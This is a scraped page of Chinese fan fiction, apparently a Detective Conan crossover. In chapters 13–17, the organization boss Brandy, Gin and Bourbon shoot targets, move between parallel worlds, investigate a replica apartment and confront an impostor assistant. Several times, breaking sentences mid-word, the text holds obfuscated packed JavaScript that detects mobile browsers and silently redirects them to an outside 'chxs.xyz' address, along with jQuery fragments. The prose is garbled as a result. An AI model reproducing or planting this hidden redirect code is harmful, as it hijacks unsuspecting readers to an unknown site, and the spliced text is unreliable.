0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899522|160063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便看看那几个新人的表现。 不知道安室透他们几个进行到哪一步了? 已经完全忘了自己曾说出“我不管过程”这话的羽生绫久想到。 ——进行到Honey Trap这一步了。 端着托盘的安室透感受到在自己腰上打转的咸猪手,假装羞涩的低下了头,遮住自己的抽搐的眼角。 资料上没说目标的性取向异于常人啊! 羽生绫久看着喝完酒后出现严重过敏现象,已经被安室透以及另外几人扶下去的目标,扬起了唇。 他往左边踏了几步,贴近了另一个宾客的身体。 “真可怜呀……还好不是我,”羽生绫久看着兵荒马乱的宴会现场,突然出声,“你是这么想的,对吧。” “……诚谷城先生?”随着这一声低语,察觉到不对打算逃走的诚谷城感觉到了抵在腰侧的硬物。 羽生绫久状似亲密的搂住旁边男人的肩膀,微微弯下腰,后撤一步遮住了拔出的枪。 诚谷城额头上渗出了冷汗,听着恶魔在耳边低语:“为什么会觉得组织会被另一人所吸引而忽略掉您呢?” “您可真是低估了组织对您的重视啊。” 羽生绫久仿佛没有意识到诚谷城越来越僵硬的身体,笑眯眯的说道。 他搂住诚谷城肩膀的手加重了力度,迫使诚谷城向前走去,“让我们找个地方好好聊聊吧,说不定我心情一好就会放了您呢?” . “我还以为你有什么大本事呢,敢贪组织的货。” 羽生绫久听到房门内传来的隐隐约约的谈话声,挑了挑眉,一脚踹开了房门。 他掐着诚谷城的脖颈,一把将人甩了进去,反手关上了门。 羽生绫久笑道:“怎么样?诚谷城先生,和这个被你泄露行踪的可怜人聊一聊吧。” 原本瘫软在床上的供货商听到这话,顿时惊怒交加。 他的眼角瞥过靠在门边的羽生绫久。 羽生绫久嘴角挂着笑,朝着供货商晃了晃手中的枪,又抬了抬下巴,示意着什么。 供货商哆嗦着收回目光,咬了咬牙,抄起桌上的一把刀,手脚并用的朝诚谷城扑了过去,“原来是你这个杂\种……” 羽生绫久双手抱胸靠着门,悠悠哉哉的看起了狗咬狗的戏份。 这个供货商虽说背叛了组织,但关于他的任务在内网中的优先级并不高,也就没有人急着去追查这个供货商的踪迹。 但几天前,此人的踪迹被组织外的不知名人士突兀的曝了出来。 他本来还在想是哪个好心人帮组织做任务,现在可算是知道了。 羽生绫久察觉到一旁传来的视线,侧头看向安室透与诸星大,话语中含着笑意,“不好意思,因为觉得会很有意思,所以就带他进来了。” 安室透摇了摇头,按着耳麦对那头的绿川景说道:“没事,是白兰地大人进来了。” 诚谷城抢过了刀捅进了供货商的胸口。 “对啊,绿川景还在吸引注意力呢。”羽生绫久抬起脚,避开了溅过来的血,“那我就不给你们添麻烦了。” 他边说着,边把枪口指向了诚谷城。 诚谷城瞬间停止了动作,昂起头打着哆嗦开口:“不不不,别杀我,我可以告诉你想要资料的是……” 羽生绫久眉毛都没动一下,直接扣动了扳机。 ‘砰’的一声闷响,血花四溅。 “死透了。”诸星大蹲下身探了探供货商的脉搏,抬头说道。 “为什么不等他说完?”安室透瞥了眼死不瞑目的诚谷城,朝着正在打开窗户的羽生绫久问道。 羽生绫久感受着迎面吹来的热风,顺便擦了擦刚刚推开窗户的地方,“没必要,臭水沟里的老鼠罢了。” 他点了点手机,以白兰地的身份确认了任务已完成。 “倒是你们,还不走吗?”羽生绫久踩上了窗户边,偏头听了听门外传来的脚步声,朝着后面的两人笑道。 他一跃而下,一句话在空气中飘荡而来:“好好想想你们的代号吧。” 徒留一地的烂摊子。 14. 第 14 章 看着波本的身影消失在半掩不掩的门后,羽生绫久收回目光,扯了扯系紧的领带,戏谑道:“你说明天论坛上会不会又产出什么关于我们的猛料?” “随他们去。”琴酒言简意赅,“你要是不想……” 他话语突然一顿。 掌心传来的瘙痒让他一时忘了后面要说的话。 “你再用力点我手可能就要断了。”羽生绫久感受到手上传来的越来越重的力度,却没有拔出手的意思,轻声‘嘶’了一声道:“其实他们有时候写的还挺有趣……当然,主角不是我的话就更好了。” 他的语气理直气壮,仿佛刚刚在桌下搞小动作的根本不是自己。 “行了,我们也回去吧,待会儿还要开场线上会议。”羽生绫久叹了口气,顺势将不知道在想些什么的琴酒扯了起来。 “你今晚没接任务吧。”羽生绫久拉开门,顺便对着旁边的‘劳模’确认。 “没有,我把最近的晚上全部空出来了。”琴酒微微俯身,扶着帽檐准备跨过门槛。 羽生绫久瞥了眼快要被门框碰到的帽顶,侧身轻轻拨开琴酒扶着帽子的手,把帽子揭下来按到了自己的脑袋上,抬脚向前走去。 ——结果还是差点被门框掀走了帽子。 “看来是我低估了你帽子的高度。”感受到从帽顶传来的阻力,羽生绫久默默弯腰跨过门槛,吐糟了一句:“这帽子真的不会妨碍执行任务吗。” 还没等琴酒开口回答,手机传来的震动吸引了羽生绫久的注意力。 手机上方浮着一条未读消息。 羽生绫久点了进去 ‘找个时间,把那小子带过来谈谈。’ ——桑格利亚。 桑格利亚? 羽生绫久下意识回忆起桑格利亚是哪位。 很快,他的记忆定格在前几天看过的资料上。 ‘黑羽快斗,加入组织两年后获得代号桑格利亚。’ 羽生绫久的手下意识的收紧。 “怎么了。” 下一刻,琴酒稍显冷淡的声音就响了起来。 “你的预防措施起效了。”羽生绫久举起两人依旧十指交缠的手,唇边的弧度显出几分无奈。 或许是有什么特别的原因,羽生绫久在发现自己又换了个世界时心态极其平和,第一想法是—— 今晚的会议怕是要放鸽子了。 . “zero,你现在怎么在这里,是要执行什么任务吗?” ‘苏格兰’站直了身,拉了拉微微滑落的贝斯包肩带,朝着安室透走来。 听到这句话的瞬间,安室透下意识观察四周,确定没有人后松了口气。 紧接着,他陷入了迷惑。 hiro怎么会在外面突然这么叫他? 虽然现在周围确实没有人,但hiro不是这么不谨慎的人啊…… 安室透看着‘苏格兰’脸上几分温和的笑意,偏了偏头,掩住眼中浮现出的几分探究,试着暗中提醒幼驯染,“苏格兰,你在叫谁?” ‘苏格兰’脸上浮现些许真切的迷惑,他连走几步逼近到安室透跟前,盯着那双紫灰色眼睛道:“zero,你在说什么?” . ‘波本,立刻回来。’ 羽生绫久按下发送消息的选项,默默叹了口气。 虽然说波本并没有与自己进行肢体接触,但为了以防万一,还是做点预防措施吧。 波本没有一起过来,那自然最好。 如果波本真的也过来了,看到这条消息自然知道是要来这里。 就算这个世界也有个‘波本’收到了这条消息也不会知道自己在说什么。 羽生绫久可不想去赌自己的世界少了个波本威士忌会怎么样。 他转头对上旁边传来的视线,就这么对视了几秒。 羽生绫久眨了眨眼,突然朝着那双冷绿色的眸子伸出了手。 原本就落在身上的视线仍然没有一丝偏移。 指尖停在离瞳孔还有一厘米的地方,过了几秒却不见琴酒眨眼。 “你怎么都不眨眼。”羽生绫久起了作弄的心,指尖拨弄了一下白色的眼睫。 话音刚落,琴酒就眨了眨眼,眼睫的颤动给指尖带来了几分痒意。 “以前训练过。” “组织的训练还真是全面。”羽生绫久收回了手,感慨了一句。 疑惑在他心中一闪而过,组织训练这个干什么? 不过很快手机的震动便让他回了神,两条消息接连跳了出来。 羽生绫久点开一看,消息栏中赫然出现了两个波本发来的消息。 两条消息一上一下的挨着,显出几分诡异。 波本:马上就来。 波本:? “麻烦了,看来不是肢体接触啊……”羽生绫久喃喃道。 他没有回复这两条消息,放下了手机。 这么短的时间,波本应该不至于遇上什么熟人吧。 . 手机传来震动。 安室透垂眸,避开‘苏格兰’的目光拿出了手机。 ‘立刻回来。’ ——白兰地。 面前的‘苏格兰’似乎察觉到了什么,偏了偏头,“zero,是有什么事吗?” “对,白兰地找我。” 尽管听起来有些不可思议,但安室透确实因为白兰地这条恰到好处的消息而松了口气。 “白兰地啊……”‘苏格兰’指尖点了点肩带,低低的重复了一遍,话音突然一转:“zero,你今晚有点奇怪。” 这句话出来的一瞬间,原本挂在‘苏格兰’身上那层温和的皮被撕开了一条缝,有什么东西顺着这条缝隙缓缓泄了出来。 安室透瞳孔微微一缩,下意识防备起来。 ‘苏格兰’的视线扫过安室透紧绷着的身体,眼中飞快的闪过了点什么,他放弃了原先的打算,低声笑了笑,“那就快去吧,我也要去任务地点了。” ‘苏格兰’说完就利落的转了身。 ……就这样? 安室透一愣,望着‘苏格兰’的背影有些犹疑。 ‘苏格兰’仿佛感受到背后传来的视线,背对着安室透摆了摆手,“还不走吗?” 安室透指尖一蜷,收回视线顺着来时的道路匆匆往回赶。 天上的月亮终于从云层后露了脸,却显得越发惨白。 . “……这杯子仿的是哪套,还挺好看的,回去买过来吧。” 羽生绫久无聊到开始琢磨桌子上的茶具上面的花纹时,房门才终于被猛地推开。 羽生绫久把目光放到来人身上,有气无力地打了个招呼:“倒霉鬼来了。” 他并不打算瞒着波本什么东西,这种情况下要是还搞出什么勾心斗角的大戏弄出什么意外就不好了。 尤其还是波本这种聪明人。 当然,主要是羽生绫久也知道不了多少东西。 抱着以防万一的心态,他顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899533|160063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便问了一句:“你出去的这段时间没有碰到什么熟人吧。” 白兰地这话是什么意思? 疑虑在心中一闪而过,安室透脸上反而挂起了笑:“当然……” ‘嗒’的一下,茶杯被轻轻放回原位,发出一声轻响,打断了安室透没有说完的话。 羽生绫久眼皮都没有抬一下,“想清楚再说。” 安室透口中的话丝滑的拐了个弯:“碰上了苏格兰。” “啊……你还真是个实至名归的倒霉鬼。”羽生绫久有些头疼的叹了口气,“算了,你应该没有透漏什么。” “什么意思。”安室透皱了皱眉,为白兰地这神神叨叨的诡异态度染上了几分焦躁。 羽生绫久没有立刻回答波本的问题,反而扭头对着琴酒开口:“我突然觉得做谜语人的感觉还不错,要不……” 琴酒的眼睛里写满了不赞同。 “好吧,好吧。”羽生绫久耸了耸肩,放弃了与贝尔摩德撞人设的打算,转而简略地为波本介绍了一下当前的情况。 “也就是说,刚刚我遇到的苏格兰并不是我认识的那个?” 羽生绫久垂眸,一心二用地点头,“对,还有什么问题吗,赶紧问。” “看样子你应该知道回去的办法吧。” 听着波本这肯定的语气,羽生绫久原本在桌下做着小动作的指尖一顿,慢半拍地回答:“对,大概知道。” “大概是什么意思?” 羽生绫久甩了两下手,发现实在甩不掉后直接将手举了起来,“大概这样。” 看着两只交缠的无比自然的手,波本脸上的表情逐渐转为一片空白,张了张嘴后才艰难开口:“……这是什么意思?” “肢体接触的意思。”羽生绫久耐心解答,“我不确定你是怎么过来的,但这是最保险的办法。” 波本看了看两人脸上泰然自若……不,只有白兰地是这样,琴酒脸上根本没有表情。 他突然想起了卡杜离开时脸上的表情,发现了不对:“一开始你们不就是这个姿势吗,那时候还没有来这里吧。” “那怎么了。”羽生绫久眨了眨眼,换了个舒服点的姿势,理直气壮地开口:“不要告诉我,你作为一个情报人员没有去刷论坛?” 他和琴酒的贴子可是在那上面满天飞。 波本脸上的表情变来变去,最终定格在与卡杜同款的表情上。 ——那种欲言又止,想说什么却又不知道该说什么的表情。 他最终选择跳过这个话题:“没有其他办法吗?” “也许有,但我不知道。” 安室透也不是什么矫情的人,直接站起身朝着白兰地走去。 就在快要握上白兰地手腕的上一刻,安室透感受到了一抹毫不掩饰的赤裸裸带着凉意的视线。 安室透:“……” 离白兰地的手越近,那视线的存在感越强,颇有要是真的握上去手就别想要了的意味。 最终,安室透撕下了桌布,心态平和的将其中一段递到了白兰地手中。 羽生绫久望向手中的桌布,挑了挑眉,“这不就是……” 安室透礼貌而又不失强硬的打断了白兰地显而易见不是什么好东西的话语:“接下来去干什么。” “我们去拜访一下这个世界的‘我’吧。”说起这个话题 ,羽生绫久一转原本疲懒的态度,整个人肉眼可见的兴奋起来。 他舔了舔牙,笑眯眯地开口:“对了,你们都带枪了吧。” 15.第 15 章 你不像要去拜访,更像要去火拼好吗。 羽生绫久瞥了眼波本脸上似乎有些一言难尽的表情,一拉手中的布条轻飘飘道:“别那副表情,我们这种人拜访别人的方式总是要特殊点的。” 他说罢还侧头对着琴酒问道:“对吧?” 几缕黑色发丝被突然袭来的燥热夜风吹的微扬,暂时摆脱了重力的拘束,奔向了与自身颜色截然相反的地方。 琴酒扫了眼飘过来的发丝,伸手将羽生绫久披在肩上的外套稍稍往上一提后才略微一点头。 安室透:“。” 他怀疑琴酒根本没有听白兰地问的什么。 安室透决定要是能回去一定要把论坛上的奇怪贴子全都看一遍。 之前他觉得那些贴子内容都是胡编乱造出来的八卦,现在看来说不定并不是没有可取之处。 羽生绫久牵一个拖一个目的明确地朝着自己常住的住宅走去。 一个、两个、三个—— 安室透在心中默数着经过的转角,看着周围的景物变得越来越熟悉。 第四个—— 下一秒,一栋他不可能认错的高层住宅楼出现在他眼前。 不知为何,这栋房比起记忆中要显得破败许多。 安室透扭头,一旁的白兰地正抬头望向顶层。 白兰地脸上少见的没有表情。 在安室透的印象中,白兰地脸上一般是带着笑的——虽然大部分时候是皮笑肉不笑。 白兰地在不笑时唇角依旧是微微上扬的,但原来还能被笑意遮掩几分的攻击性此刻全部显了出来,连带着清隽的长相都奇异的透出一股凉薄之气。 许是触到了回忆中的某些场景,安室透指尖微微有些发麻,忍不住开口: “白兰地,你就这么直接把自己的住址告诉我?” 波本这个稍显奇怪的问题传入羽生绫久的耳中,他收回目光转身,盯着波本看了好一会儿。 直到看到波本的嘴角不自然的绷直时,羽生绫久才突兀的一弯唇,语调轻慢,“担心这个的话……直接让波本你开不了口不就好了?” 话音落下,波本瞳孔微微一缩。 仿佛看了场好戏般,羽生绫久弯了弯眸,脸上的笑容变得真切了些,“开玩笑的。” 他转头继续望向黑暗的顶楼,轻飘飘道:“要是波本君真的透漏出去了,那我也没什么办法,我房产多的很,也不差这一处……不过,我相信波本君不会乱说的,对吧。” 旁边没有传来回答。 手中的布突然被收紧,但仅仅过一瞬就又变回了原来轻飘飘的样子。 羽生绫久当做什么都没有察觉到,垂眸掩住眼中的兴奋,“走吧。” 原本稍稍落后于他的琴酒向前迈了一步,站到了羽生绫久身旁。 三人以一种并不怎么见的了人的奇怪姿势拉拉扯扯地走了进去,勉强还算顺利的坐上了电梯。 一楼,五楼,十楼—— ‘叮’的一声,十五楼到了。 电梯门缓缓朝两边滑开,三人走了出去。 出了电梯门正对的就是一扇房门,整层楼只有这一户,门上是指纹锁——这些都与羽生绫久记忆中的一模一样。 话说在实验室刚醒来时他脑中把什么都忘得干干净净,当晚差点流落街头,不过最后好在在导航搜索记录里发现了这里的地址,不至于沦落到哪种地步。 羽生绫久的思绪稍稍飘忽了一下,又迅速被扯了回来。 余光中琴酒的手似乎抬了一下,又似乎是错觉。 ‘嘀’的一声,羽生绫久顺利用自己的指纹开了锁。 门‘咔哒’一下打开一条缝,透出里面看不见尽头的黑暗。 一阵嗡鸣突然袭来,细碎的片段在脑海中闪现—— “你把指纹录一下。” 似乎是他自己的声音,不过音色有点差异。 “嗯。” 这声音有些耳熟……谁的? 羽生绫久下意识继续往下听。 结果带着点哑意的声音在短暂的应答后便再无声响。 是谁……? 嗡鸣声愈发加大。 到底是谁……? 嗡鸣声愈发尖锐。 羽生绫久猛的睁眼,天旋地转中往前一踉跄。 一只手稳稳地扶住了他。 琴酒看了眼羽生绫久苍白的脸色,没有多问什么,直接推开门按下了进门左侧的开关。 ‘啪’的一声,客厅的灯亮了起来,驱散了原本的黑暗。 羽生绫久站在玄关处缓了两秒,将手中的布绑到手腕上,抬头打量起这里的摆设来。 走出玄关左侧便是沙发,沙发上铺着一层织着浅色花纹的布,织布上有几道不明显的抓痕。 沙发前面的方形茶几上摆放着一个烟灰缸,却没有使用的痕迹,烟灰缸旁散落着几颗子弹,还有一把被拆卸开来的枪。 随手拉开的抽屉里随处能蹦出来点小惊喜:不知名的药剂,匕首,手枪…… 右手边的琴酒才拉开抽屉的一条缝,又一脸平淡的迅速推了回去。 羽生绫久好奇的将头凑到了琴酒的肩膀处。 琴酒瞥了眼眼里写满了‘什么’的羽生绫久,又无言地将那条缝拉开,甚至还拉大了点。 在看到一个小方盒子以及它旁边散落的正方形塑料薄片后,羽生绫久若无其事的关上了抽屉。 他站起身,继续朝着四周探索。 波本被手腕上突然传来的力道拽的一个踉跄,他看着似乎早有预料顺势起身的琴酒,脑袋上冒出一个问号。 介于手上还带着两个人,羽生绫久经过洗漱间时只探头进去看了一下,不出意外地发现摆设与记忆中的一模一样后打算退出来。 余光中却看见镜面兀的荡起水花般的波纹。 扭头看去时,却又只能看见镜中熟悉的人影。 除此之外什么都没有。 大致搜查一遍后羽生绫久坐到沙发上,抬手捏了捏眉心,就着这个姿势开始思考。 目前看来,这房子似乎并无异样。 但总感觉哪里不对。 羽生绫久开始将眼前的景物一幕一幕与自己记忆开始对比。 过了一会儿,他揉着眉心的手突然一顿。 ——这里的东西与自己的记忆太过一致了。 太过相似反而才是问题。 就拿‘黑羽快斗’举例,虽然他没去过之前遇到哪位‘黑羽快斗’家里,但不用想也知道肯定与自己所认识的黑羽快斗家中摆设不同。 两人不同的经历所造就的性格差异,间接就会反映到家中的各处摆设上。 包括之前的‘琴酒’,其实现在想来‘琴酒’那里与自己记忆中也有出入,只不过当时羽生绫久没有将这点细微的不同放在心上。 而‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909804|160063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽生绫久’家中——就像把羽生绫久记忆中的搬出来了一样,无论羽生绫久怎么去找,都找不到与自己记忆中不一样的地方。 总不可能这个世界的‘羽生绫久’与自己的性格与习惯完全一致吧,从‘琴酒’的态度也看得出不是那么回事。 羽生绫久回神,看向右手边的琴酒。 他正侧头望向玄关处,偶然露出的紧绷的肌肉线条昭示着这具被大衣包裹严实的身体处在一种高度警戒的状态。 羽生绫久看向右手边,对上了—— 波本含着几分无语的眼睛。 “可以把手放下来了吗,这样抬着很累。” 波本语气平和,用另一只手指了指被布条扯着,被迫抬高的手。 羽生绫久轻咳一声,将手放了下来,“忘了还绑着你了。” 波本眼中明晃晃的写着‘不信’两个字。 羽生绫久若无其事的移开了目光,某个疑问在脑海中一闪而过。 波本在进了这里之后似乎很安静? 但思绪只在这个突然冒出的想法上短暂的停滞了片刻,很快边飘向别处。 “要去我那里看看吗?” 低沉的声音打破了寂静。 羽生绫久想象了一下两个琴酒见面的场景,莫名打了个哆嗦,“还是算了吧。” 不到万不得已的情况,羽生绫久并不想直接与‘琴酒’撕破脸。 毕竟再怎么说那也是‘琴酒’,羽生绫久不至于傻到认为这个‘琴酒’会好对付到哪里去。 不过琴酒的话给他提供了新灵感,“去我别处的房产看看。” 三人倘若主人般光明正大的出了门,正打算上电梯原路返回时羽生绫久脚步一顿,开口道:“等等,我们走楼梯。” 三人一起下楼梯对羽生绫久可以说是头一遭的体验,最好不要再有第二回了——不过好在确实有了额外的发现。 “看起来又没有人住。” 波本看着这扇与前几楼一模一样的门,皱了皱眉。 这栋住宅楼处在相当靠近市中心的位置,能住这里的人基本上是不差钱的。 从十五楼一路走到二楼,三人所看见的楼道与房门都很干净,似乎常有人来打扫。 这一点很正常。 但这些房门全部用的是最初始的门锁——也就是最开始装修好,统一配备的锁。 这一点就不太正常了。 虽然羽生绫久平常并不走楼梯,但也看得出这一点。 比起这里的有钱人都嫌麻烦不愿意去换锁的可能性,羽生绫久更倾向于这里根本没有人住。 除了十五楼,其他楼层就跟一键刷新,刚刚出厂一样。 那么问题来了,是谁要废大力气营造出这一副假象呢? . 这风还不如不吹。 羽生绫久坐在路边的长椅上,抬手解开了衬衫顶上的两粒纽扣,郁闷的呼了口气。 余光中琴酒的脸半陷在阴影中,显得愈发冷峻,银白的眼睫半垂,不知道在想些什么。 似乎是察觉到了他的视线,琴酒偏了偏头朝着这边看来——与羽生绫久的目光在半空中短暂的交接。 琴酒这么一扭头,整张脸便暴露在昏黄的灯光中。 他似乎是意识到了这一点,身子稍稍往后一探,又将整个人藏入了阴影。 只余一双阴影也藏不住的冷绿色眼瞳望着羽生绫久。 16.第 16 章 羽生绫久指尖曲起,勾了勾琴酒的掌心,凑到琴酒耳边低声笑道:“你怎么都不觉得热。” 路旁的树上传来的蝉鸣声越来越有气无力,仿佛也快要被热晕过去了。 就算在这种天气下,琴酒的手心仍然是温热干燥的,不带一丝粘腻。 琴酒偏了偏头,避开唇间一张一合吐出来的热气,手一翻直接将作乱的手盖在了掌心下。 淡色的唇才微微一动,他的视线骤然转向未被灯光照及的黑暗处。 羽生绫久顺着他的视线望去,竟看到了一个熟人。 那天他从‘琴酒’那里出来时碰上的醉鬼。 ——不过‘熟’似乎只是羽生绫久单方面的想法。 那个醉鬼摇摇晃晃的从黑暗中走了出来,嘴中还在嘟囔着什么。 然而看清坐在长椅的羽生绫久后,他眼中的醉意顿时去了大半,忙不迭的转身欲跑。 “站住。” 身后传来了恶鬼的声音。 醉汉脚步一顿,他犹豫了几秒,仍咬咬牙迈开了步子打算逃走。 “还是说你觉得我们像上次一样……?” 羽生绫久声音中仍带着点笑意,轻飘飘地问道。 未说完的话被夜风卷起,吹到了醉汉耳边。 他打了个哆嗦,转身露出个比哭还难看的笑容,“大人……” “别那么生分,走近些。”羽生绫久空不出手,干脆抬了抬下巴。 醉汉龟速向前挪了挪。 羽生绫久没有管两人之间勉强从七米变成六米的距离,报了一串地址出来,正是刚才那栋高层住宅楼,“那里发生过什么事吗?” “xx丁目xx番地xx号……听起来有点耳熟。”醉汉喃喃道,眼神盯着上方的虚空逐渐放空。 过了十几秒,他猛地一拍脑袋:“想起来了,几年前有个警察在那里被炸死了,后来重新装修了一遍,但谁还敢住进去啊。” 警察? 安室透瞳孔一缩,竭力忍下了追问的想法。 羽生绫久垂眸,没有注意到波本一瞬间微变的神色。 如果这是真的,‘羽生绫久’为什么还会选择住在那里? 只有一个人住的住宅楼……这可不符合隐蔽性的原则。 还是说,‘羽生绫久’根本没有住在那里,那也是和其他楼层一样的假象? 但这么说又解释不了屋内的摆设…… 羽生绫久烦躁的啧了一声,在越想越乱前掐断了自己的思绪。 接下来三人又去了羽生绫久别的几处房产,其中有的与那个十五楼的情况一样,像是从羽生绫久脑子里直接复制黏贴出来的。 也有一些里面有人在走动,交谈的,应该有人居住。 在前往下一个目的地的路上,羽生绫久又遇上了熟人。 ‘苏格兰’目光扫过琴酒与白兰地两人相交的手,最后落到了白兰地和波本两人被布条绑在一起的手腕上,唇边勾起一抹冷淡却又不失礼貌的笑,“白兰地,琴酒,还有……” 安室透的心吊了起来。 “……波本,你们这是在干什么?” 安室透暂时松了口气。 这称呼……这个世界的‘苏格兰’在组织中的地位还挺高? 羽生绫久分心了一瞬,很快便挂上笑容应付来人。 让他稍感意外的是,‘苏格兰’似乎对这奇怪场景没有什么探究欲望,没有问上几句就离开了。 ‘苏格兰’就像是遇上了不那么熟的同事,随便打个招呼应付一下就可以了。 ——真的是这样吗? 羽生绫久看着‘苏格兰’逐渐变小的背影,歪了歪头,余光中是波本没有什么波澜的表情。 是真的不熟,还是看在谁的面子上? ……波本? . 在手机中与‘波本’的对话框消失后,羽生绫久得以确定他们又回到了原本的世界,三人就此分成两拨分道扬镳。 这次与前几次的回来的时间似乎大差不差,太阳刚冒出个头。 看来两边时间流速差不多。 回去休息明显不太现实,先不说其他的,还有一堆被放了鸽子的会议对象等着羽生绫久呢。 他坐在副驾驶上,琢磨着待会儿找什么借口。 随着车速减慢,他的思绪转停,扭头望向驾驶位上的人。 两人视线在半空中相交。 不知怎的,那股湿漉漉的叶子燃烧过后的气息腾的重了起来,丝丝缕缕的往羽生绫久鼻腔里钻,温热的呼吸喷洒在脖颈,一路钻进了衣服里,引起阵阵发麻。 眉目深邃的脸庞在羽生绫久眼前不断放大,紧接着,一点凉意落到了唇上。 眼看着这点凉意就要离去,羽生绫久抬手捧住眼前人的脸庞,轻易的撬开了配合着张开的唇齿,长驱直入。 一阵若有若无的吞咽声过后,两人呼吸微沉。 羽生绫久指尖上移,拨开散落的白发,轻轻滑过眼窝,低叹道:“可算是清醒点了。” 琴酒没有说话,粗粝的指腹搭在羽生绫久的唇上,重重抹去了显眼的水渍。 羽生绫久感受到唇肉上传来的痛意,轻吸了口气,直接拍掉了琴酒的手,“这么用力干什么。” 琴酒哼笑一声,抬手指了指自己的唇。 羽生绫久移开目光,假装没有看到那个显眼的牙印。 . 处理完昨晚被他放了鸽子的会议的事,羽生绫久终于暂时空了下来,坐到了办公室里。 他端起办公桌上的咖啡抿了一口,入口过于苦涩的味道让羽生绫久皱了皱眉。 过了一分钟苦意仍在舌根处缭绕,怎么也压不下去。 羽生绫久放弃了用咖啡提提神的想法,干脆打算眯一会儿。 他放下咖啡杯,发出‘嗒’的一声轻响,阖眼休息起来。 下回要不要去见‘琴酒’一面,看看能不能套出什么? 不过这样风险可能会有点大…… 虽说是决定休息一下,但脑中的思绪却没有停止,仍然在不停的变动。 一个电话突然打了进来。 羽生绫久睁开眼,眼底又是一片清明。 打电话过来的是驻外的组织高层人员,负责A国那边的资金流转。 “BOSS,A国这边有几家公司被IRS查封了。” 羽生绫久没有说话,拨开桌上稍有些散乱的文件,拿起支笔有一搭没一搭的戳着桌上三花猫状的茶宠,等着对面的下文。 如果只是A国那几家公司被封了,大可不必直接打电话给他。 黑衣组织那么大的规模,每日流动资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919814|160063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金不计其数,这些资金不可能只靠着乌丸集团来弄干净,搞不好还容易惹得一身骚。 因此,把钱弄干净这事自然有别的地方来负责。 世界各地有不少公司与产业负责这件事,它们规模有大有小,有的大名鼎鼎,有的只是个空壳公司。 换句话说,被查封几所公司没什么大不了的,甚至有时候为了喂饱A国某些高官还会主动暴露,换取一些东西。 ……话说,这个茶宠是哪里来的? 细微的疑惑在心中一闪而过,但很快就因对面传来的声音而消散。 羽生绫久按着笔的动作一顿,“……已经追到BVI上了?” BVI是U国的一个小岛,因为某些原因许多人都在上面建了公司——空壳的那种,不过这不是重点。 重点是BVI已经脱离的A国的地界。 虽说IRS可谓大名鼎鼎,让人闻风丧胆,但追到BVI上已经算是脱离了它们的主场——这意味着IRS手中必定掌握了确凿证据并且上面有人支持这次行动,这人地位极可能还挺高。 那些高官都是吃白饭的吗? 羽生绫久将笔往桌上一丢,脑中迅速过了一遍名单,“把牵涉的线全部停下来,多派些人去查——另外,找时间与威廉姆斯谈谈。” 威廉姆斯是位与黑衣组织有多次‘愉快的合作经历’的高官。 羽生绫久挂断电话,揉了揉眉心放弃了休息的心思,将助理叫了进来。 ‘咚咚’,门口传来两声轻响。 “进。” 斯文俊秀的青年推开门走了进来,反手关上门,在离办公桌还有一米远的地方驻足,垂首道:“董事长。” 羽生绫久没有抬头,翻看着手中的文件,吩咐道:“这段时间邻近傍晚的行程就不要接了,已经接了的就照常进行。” “好的。” “——另外,今天的咖啡是怎么回事,能给个合理的解释吗?” 羽生绫久合上文件夹,抬眸问道。 “抱歉,是我的失误。” 面前的青年依旧没有抬头。 羽生绫久眯了眯眼,视线扫过青年头顶的发旋,落到他的侧脸上。 好像没有什么问题。 他收回目光,“行了,下不为例,出去吧。” 门又‘咔哒’一声轻响,被轻轻合上了。 助理可是在和自己谈事的时候从不关门的…… 或许能算是某种神奇的对危险的感知天赋? 所以,助理什么时候有了个随手关门的好习惯了? . 邻近傍晚,羽生绫久在处理完所有事务后提前下了班。 出门左边不远处就是助理的办公室。 羽生绫久在经过时突然站定,“走了。” 助理沉默地颔首,拿起旁边的车钥匙跟在了羽生绫久身后。 羽生绫久来到地下车库,在一辆不认识的车面前停了下来。 身后的助理也跟着停了下来。 之后便是一阵短暂的沉默。 助理的指尖抽搐了一下,正犹豫着下一步的动作时,突然感觉到额上被抵了一个冰凉的东西。 羽生绫久拿着枪,眉目含笑,声音却含着点细微的凉意,“先生,一个小小的问题——我那能干的秘书去哪了?” 17.论坛体 讨论一下最近那个热帖的真实性 1L(楼主)(匿名中):如题。 2L(匿名中):哪个热帖,啃嘴巴那个? 